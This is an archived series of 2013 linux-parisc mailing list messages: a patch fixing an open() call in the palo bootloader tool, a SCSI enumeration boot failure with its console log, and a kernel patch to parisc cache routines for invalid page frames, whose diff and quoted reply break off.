NNTP-Posting-Date: Thu, 18 Jul 2013 15:43:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 18 17:43:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UzqMx-0003EG-T3
	for glpp-linux-parisc@plane.gmane.org; Thu, 18 Jul 2013 17:43:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758222Ab3GRPnv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Jul 2013 11:43:51 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:36510 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758217Ab3GRPnv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Jul 2013 11:43:51 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 09DDD335E17;
	Thu, 18 Jul 2013 15:43:49 +0000 (UTC)
In-Reply-To: <20130718165539.15e7e327@marga.jer-c2.orkz.net>
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5205>

In file included from /usr/include/fcntl.h:296:0,
                 from palo.c:16:
In function 'open',
    inlined from 'do_formatted' at palo.c:482:5:
/usr/include/bits/fcntl2.h:50:24: error: call to '__open_missing_mode'
declared with attribute error: open with O_CREAT in second argument
needs 3 arguments

Signed-off-by: Jeroen Roovers <jer@gentoo.org>

diff --git a/palo/palo.c b/palo/palo.c
index 10031fd..fffb7ec 100644
--- a/palo/palo.c
+++ b/palo/palo.c
@@ -484,7 +484,7 @@ do_formatted(int init, int media, const char *medianame, int partition,
            error(14, "bootloader");

        sprintf(badblockfilename, "/tmp/paloblk-%d", getpid());
-       if ((fd = open(badblockfilename, O_RDWR | O_CREAT | O_TRUNC)) < 0) {
+       if ((fd = open(badblockfilename, O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR)) < 0) {
            perror(badblockfilename);
            exit(1);
        }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] palo/palo.c:482:5: /usr/include/bits/fcntl2.h:50:24:
 error: call to '__open_missing_mode' declared with attribute error: open
 with O_CREAT in second argument needs 3 arguments
Date: Sat, 20 Jul 2013 21:53:10 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <51EAEAA6.5080404@gmx.de>
References: <20130718165539.15e7e327@marga.jer-c2.orkz.net> <20130718174346.022491f8@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374349997 13526 80.91.229.3 (20 Jul 2013 19:53:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jul 2013 19:53:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 20 21:53:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V0dDR-0001Qh-Fa
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Jul 2013 21:53:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754831Ab3GTTxQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jul 2013 15:53:16 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:60465 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754739Ab3GTTxQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jul 2013 15:53:16 -0400
Original-Received: from [192.168.178.60] ([84.173.40.211]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0LzKQf-1U5UHj1qbp-014RMe for
 <linux-parisc@vger.kernel.org>; Sat, 20 Jul 2013 21:53:14 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <20130718174346.022491f8@marga.jer-c2.orkz.net>
X-Provags-ID: V03:K0:qraiPJyx6jvPa/gFVbMu28atv5rDk5SggWFTc6exzC+0PWL0ea/
 XZKBzv/8YrftOT6YYh2UBkuVY5lClbFzRoWi1rdg5FGgPRUMJz3Vc41PTYP1srG7kjWXIct
 S0D5Wb5PBKIAyq+0q97Wi4BxWHY5Nc1mOmYaDUGvNA+/GNbU91Lq/q6924B46CMwSd+Kb+j
 305mrqzqpnRvdrPysngdg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5206
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5206>

Hi Jeroen,

On 07/18/2013 05:43 PM, Jeroen Roovers wrote:
> In file included from /usr/include/fcntl.h:296:0,
>                  from palo.c:16:
> In function 'open',
>     inlined from 'do_formatted' at palo.c:482:5:
> /usr/include/bits/fcntl2.h:50:24: error: call to '__open_missing_mode'
> declared with attribute error: open with O_CREAT in second argument
> needs 3 arguments
> 
> Signed-off-by: Jeroen Roovers <jer@gentoo.org>

Thanks for both patches!
I've just pushed both upstream to the palo git tree.

Both changes aren't that huge, so I'm right now not planning to
bump the version number - unless you need it for gentoo...?
Just let me know (or if you have further patches, e.g. gentoo specific files?)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] palo/palo.c:482:5: /usr/include/bits/fcntl2.h:50:24:
 error: call to '__open_missing_mode' declared with attribute error: open
 with O_CREAT in second argument needs 3 arguments
Date: Sun, 21 Jul 2013 16:13:01 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20130721161301.165f5d6f@marga.jer-c2.orkz.net>
References: <20130718165539.15e7e327@marga.jer-c2.orkz.net>
	<20130718174346.022491f8@marga.jer-c2.orkz.net>
	<51EAEAA6.5080404@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374415991 8843 80.91.229.3 (21 Jul 2013 14:13:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jul 2013 14:13:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 21 16:13:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V0uNp-0008QS-Nk
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Jul 2013 16:13:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755501Ab3GUONI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jul 2013 10:13:08 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:41844 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755496Ab3GUONI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jul 2013 10:13:08 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id DBA9033DAC0;
	Sun, 21 Jul 2013 14:13:06 +0000 (UTC)
In-Reply-To: <51EAEAA6.5080404@gmx.de>
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5207
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5207>

On Sat, 20 Jul 2013 21:53:10 +0200
Helge Deller <deller@gmx.de> wrote:

> Thanks for both patches!
> I've just pushed both upstream to the palo git tree.

Great!

> Both changes aren't that huge, so I'm right now not planning to
> bump the version number - unless you need it for gentoo...?

Both patches are already used in Gentoo, so that's fine.


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI Drive Enumeration
Date: Sun, 21 Jul 2013 14:57:44 -0400
Lines: 117
Approved: news@gmane.org
Message-ID: <BLU0-SMTP36352120304E67D025161D976D0@phx.gbl>
References: <BLU0-SMTP12B5A8FFEF5AE17F38634E976C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1374433083 3276 80.91.229.3 (21 Jul 2013 18:58:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jul 2013 18:58:03 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Dave Anglin <Dave.Anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 21 20:58:05 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V0ypY-0006sS-Od
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Jul 2013 20:58:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755959Ab3GUS6E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jul 2013 14:58:04 -0400
Original-Received: from blu0-omc4-s34.blu0.hotmail.com ([65.55.111.173]:25792 "EHLO
	blu0-omc4-s34.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755958Ab3GUS6D (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jul 2013 14:58:03 -0400
Original-Received: from BLU0-SMTP36 ([65.55.111.136]) by blu0-omc4-s34.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 21 Jul 2013 11:58:02 -0700
X-EIP: [Q02OZZ90aSyo6VV1cH1590Pwqq4omyUY]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP36.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 21 Jul 2013 11:58:00 -0700
In-Reply-To: <BLU0-SMTP12B5A8FFEF5AE17F38634E976C0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 21 Jul 2013 18:58:00.0359 (UTC) FILETIME=[3877B370:01CE8644]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5208
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5208>

Changing crypto: crc_t10dif from a module to builtin fixed the boot.   
See
http://www.mail-archive.com/linux-crypto@vger.kernel.org/msg09061.html

Dave

On 20-Jul-13, at 7:08 PM, Dave Anglin wrote:

> Hi Helge,
>
> Have you tried 3.11-rc1?  It doesn't boot for me because SCSI drives  
> no longer are enumerated as sda, sdb, ...
>
> ehci-pci: EHCI PCI platform driver
> scsi0 : pata_cmd64x
> scsi1 : pata_cmd64x
> ata1: PATA max UDMA/100 cmd 0xd18 ctl 0xd24 bmdma 0xd00 irq 69
> ata2: DUMMY
> ehci-pci 0000:00:01.2: EHCI Host Controller
> ehci-pci 0000:00:01.2: new USB bus registered, assigned bus number 1
> ehci-pci 0000:00:01.2: irq 68, io mem 0xffffffff80000000
> ehci-pci 0000:00:01.2: USB 2.0 started, EHCI 0.95
> usb usb1: New USB device found, idVendor=1d6b, idProduct=0002
> usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
> usb usb1: Product: EHCI Host Controller
> usb usb1: Manufacturer: Linux 3.11.0-rc1+ ehci_hcd
> usb usb1: SerialNumber: 0000:00:01.2
> hub 1-0:1.0: USB hub found
> hub 1-0:1.0: 5 ports detected
> ata1.00: ATAPI: DW-224E, C.0B, max UDMA/33
> ata1.00: configured for UDMA/33
> scsi 0:0:0:0: CD-ROM            TEAC     DW-224E          C.0B PQ: 0  
> ANSI: 5
> usb 1-2: new high-speed USB device number 2 using ehci-pci
> sr0: scsi3-mmc drive: 24x/24x writer cd/rw xa/form2 cdda tray
> cdrom: Uniform CD-ROM driver Revision: 3.20
> usb 1-2: New USB device found, idVendor=1058, idProduct=0748
> usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=5
> usb 1-2: Product: My Passport 0748
> usb 1-2: Manufacturer: Western Digital
> usb 1-2: SerialNumber: 575836314542325A33383231
> sr 0:0:0:0: Attached scsi generic sg0 type 5
> usb-storage 1-2:1.0: USB Mass Storage device detected
> scsi2 : usb-storage 1-2:1.0
> usbcore: registered new interface driver usb-storage
> tg3 0000:20:02.0 eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI: 
> 66MHz:64-bit) MAC address 00:30:6e:4b:16:4d
> tg3 0000:20:02.0 eth0: attached PHY is 5701 (10/100/1000Base-T  
> Ethernet) (WireSpeed[1], EEE[0])
> tg3 0000:20:02.0 eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0]  
> TSOcap[0]
> tg3 0000:20:02.0 eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
> sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 70
> sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
> sym0: SCSI BUS has been reset.
> scsi3 : sym-2.2.3
> scsi 2:0:0:0: Direct-Access     WD       My Passport 0748 1022 PQ: 0  
> ANSI: 6
> scsi 2:0:0:0: Attached scsi generic sg1 type 0
> scsi 3:0:0:0: Direct-Access     FUJITSU  MAJ3364MC        HP12 PQ: 0  
> ANSI: 2
> scsi target3:0:0: tagged command queuing enabled, command queue  
> depth 16.
> scsi target3:0:0: Beginning Domain Validation
> scsi target3:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
> scsi target3:0:0: Ending Domain Validation
> scsi 3:0:0:0: Attached scsi generic sg2 type 0
> sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 71
> sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
> sym1: SCSI BUS has been reset.
> scsi4 : sym-2.2.3
> scsi 4:0:2:0: Direct-Access     SEAGATE  ST318203LC       HP04 PQ: 0  
> ANSI: 2
> scsi target4:0:2: tagged command queuing enabled, command queue  
> depth 16.
> scsi target4:0:2: Beginning Domain Validation
> scsi target4:0:2: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
> scsi target4:0:2: Domain Validation skipping write tests
> scsi target4:0:2: Ending Domain Validation
> scsi 4:0:2:0: Attached scsi generic sg3 type 0
> Begin: Loading essential drivers ... done.
> Begin: Running /scripts/init-premount ... done.
> Begin: Mounting root file system ... Begin: Running /scripts/local- 
> top ... device-mapper: ioctl: 4.25.0-ioctl (2013-06-26) initialised: dm-devel@redhat.com
> done.
> Begin: Waiting for root file system ... done.
> Gave up waiting for root device.  Common problems:
> - Boot args (cat /proc/cmdline)
>   - Check rootdelay= (did the system wait long enough?)
>   - Check root= (did the system wait for the right device?)
> - Missing modules (cat /proc/modules; ls /dev)
> ALERT!  /dev/sdb5 does not exist.  Dropping to a shell!
> modprobe: module i8042 not found in modules.dep
> modprobe: module uhci-hcd not found in modules.dep
> ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
> usbcore: registered new interface driver usbhid
> usbhid: USB HID core driver
>
>
> BusyBox v1.20.2 (Debian 1:1.20.0-8) built-in shell (ash)
> Enter 'help' for a list of built-in commands.
>
> Thoughts?
>
> Dave
>

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH]  parisc: Fix cache routines to ignore vma's with an invalid pfn
Date: Tue, 23 Jul 2013 12:27:52 -0400
Lines: 122
Approved: news@gmane.org
Message-ID: <BLU0-SMTP618F2A575D86195DC418DD976F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-53--994801766"
X-Trace: ger.gmane.org 1374596893 14745 80.91.229.3 (23 Jul 2013 16:28:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jul 2013 16:28:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 23 18:28:13 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V1fRc-0002ak-OY
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Jul 2013 18:28:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933155Ab3GWQ2M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jul 2013 12:28:12 -0400
Original-Received: from blu0-omc4-s35.blu0.hotmail.com ([65.55.111.174]:51901 "EHLO
	blu0-omc4-s35.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932595Ab3GWQ2L (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jul 2013 12:28:11 -0400
Original-Received: from BLU0-SMTP61 ([65.55.111.136]) by blu0-omc4-s35.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 23 Jul 2013 09:28:10 -0700
X-EIP: [KSb/LwjVq3IS3JogiACZFaKN+h9OHOsW]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP61.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 23 Jul 2013 09:28:09 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 Jul 2013 16:28:09.0222 (UTC) FILETIME=[9E289260:01CE87C1]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5209
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5209>

--Apple-Mail-53--994801766
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The parisc architecture does not have a pte special bit.  As a result,  
special mappings are handled with the
VM_PFNMAP and VM_MIXEDMAP flags.  VM_MIXEDMAP mappings may or may not  
have a "struct page"
backing.  When pfn_valid() is false, there is no "struct page"  
backing.  Otherwise, they are treated as normal
pages.

The FireGL driver uses the  VM_MIXEDMAP without a backing "struct  
page".  This treatment caused a panic
due to a TLB data miss in update_mmu_cache.  This appeared to be in  
the code generated for page_address().
We were in fact using a very circular bit of code to determine the  
physical address of the PFN in various cache
routines.  This wasn't valid when there was no "struct page" backing.   
The needed address can in fact be determined
simply from the PFN itself without using the "struct page".

The attached patch updates update_mmu_cache(), flush_cache_mm(),  
flush_cache_range() and flush_cache_page()
to check pfn_valid() and to directly compute the PFN physical and  
virtual addresses.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---



--Apple-Mail-53--994801766
Content-Disposition: attachment; filename="cache.c.d.3.txt"
Content-Type: text/plain; x-unix-mode=0644; name="cache.c.d.3.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 2e65aa5..57876fa 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -71,18 +71,27 @@ flush_cache_all_local(void)
 }
 EXPORT_SYMBOL(flush_cache_all_local);
 
+/* Virtual address of pfn.  */
+#define pfn_va(pfn)	__va(PFN_PHYS(pfn))
+
 void
 update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t *ptep)
 {
-	struct page *page = pte_page(*ptep);
+	unsigned long pfn = pte_pfn(*ptep);
+	struct page *page;
 
-	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
+	/* We don't have pte special.  As a result, we can be called with
+	   an invalid pfn and we don't need to flush the kernel dcache page.
+	   This occurs with FireGL card in C8000.  */
+	if (!pfn_valid(pfn))
+		return;
 
-		flush_kernel_dcache_page(page);
+	page = pfn_to_page(pfn);
+	if (page_mapping(page) && test_bit(PG_dcache_dirty, &page->flags)) {
+		flush_kernel_dcache_page_addr(pfn_va(pfn));
 		clear_bit(PG_dcache_dirty, &page->flags);
 	} else if (parisc_requires_coherency())
-		flush_kernel_dcache_page(page);
+		flush_kernel_dcache_page_addr(pfn_va(pfn));
 }
 
 void
@@ -518,21 +527,20 @@ void flush_cache_mm(struct mm_struct *mm)
 				     addr += PAGE_SIZE) {
 					pte_t *ptep = get_ptep(pgd, addr);
 					if (ptep != NULL) {
-						pte_t pte = *ptep;
-						__flush_cache_page(vma, addr,
-						  page_to_phys(pte_page(pte)));
+						unsigned long pfn = pte_pfn(*ptep);
+						if (pfn_valid(pfn))
+							__flush_cache_page(vma, addr, PFN_PHYS(pfn));
 					}
 				}
 			}
 		}
-		return;
-	}
-
+	} else {
 #ifdef CONFIG_SMP
-	flush_cache_all();
+		flush_cache_all();
 #else
-	flush_cache_all_local();
+		flush_cache_all_local();
 #endif
+	}
 }
 
 void
@@ -571,9 +579,9 @@ void flush_cache_range(struct vm_area_struct *vma,
 			     addr += PAGE_SIZE) {
 				pte_t *ptep = get_ptep(pgd, addr);
 				if (ptep != NULL) {
-					pte_t pte = *ptep;
-					flush_cache_page(vma,
-					   addr, pte_pfn(pte));
+					unsigned long pfn = pte_pfn(*ptep);
+					if (pfn_valid(pfn))
+						__flush_cache_page(vma, addr, PFN_PHYS(pfn));
 				}
 			}
 		}
@@ -591,9 +599,10 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 {
 	BUG_ON(!vma->vm_mm->context);
 
-	flush_tlb_page(vma, vmaddr);
-	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));

From - Thu Nov 08 21:09:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH]  parisc: Fix cache routines to ignore vma's with an invalid
 pfn
Date: Tue, 23 Jul 2013 23:52:59 +0200
Lines: 253
Approved: news@gmane.org
Message-ID: <51EEFB3B.3010107@gmx.de>
References: <BLU0-SMTP618F2A575D86195DC418DD976F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------090601060802030604010003"
X-Trace: ger.gmane.org 1374616389 27890 80.91.229.3 (23 Jul 2013 21:53:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jul 2013 21:53:09 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 23 23:53:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V1kW1-0002S8-U3
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Jul 2013 23:53:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934119Ab3GWVxF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jul 2013 17:53:05 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:54321 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933746Ab3GWVxE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jul 2013 17:53:04 -0400
Original-Received: from [192.168.178.60] ([84.173.28.179]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MVZuV-1Uc32h24lT-00YwIC for
 <linux-parisc@vger.kernel.org>; Tue, 23 Jul 2013 23:53:02 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <BLU0-SMTP618F2A575D86195DC418DD976F0@phx.gbl>
X-Provags-ID: V03:K0:+HDpewDeSA1i0xRUP/xp9IH9UL2GtFChYX2VFtCkOERFQKhvyqz
 iIj8i2hJsjLz01h0D6gQi91W24u0v73aDkt6xnGacI0G3sfOl6kTiZTTU9BDy1LInH2culI
 4jxjco2NoyBCda2U0tNr2gcrS/jGtbzDnZHCvjKcwYtuFUVqYi1Ldc8s17StJ3aGdHgHElV
 JXaS/CxvX5ZN9Mb2ksAdg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5210
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5210>

This is a multi-part message in MIME format.
--------------090601060802030604010003
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Hi Dave,

On 07/23/2013 06:27 PM, John David Anglin wrote:
> The parisc architecture does not have a pte special bit.  As a result, special mappings are handled with the
> VM_PFNMAP and VM_MIXEDMAP flags.  VM_MIXEDMAP mappings may or may not have a "struct page"
> backing.  When pfn_valid() is false, there is no "struct page" backing.  Otherwise, they are treated as normal
> pages.
> 
> The FireGL driver uses the  VM_MIXEDMAP without a backing "struct page".  This treatment caused a panic
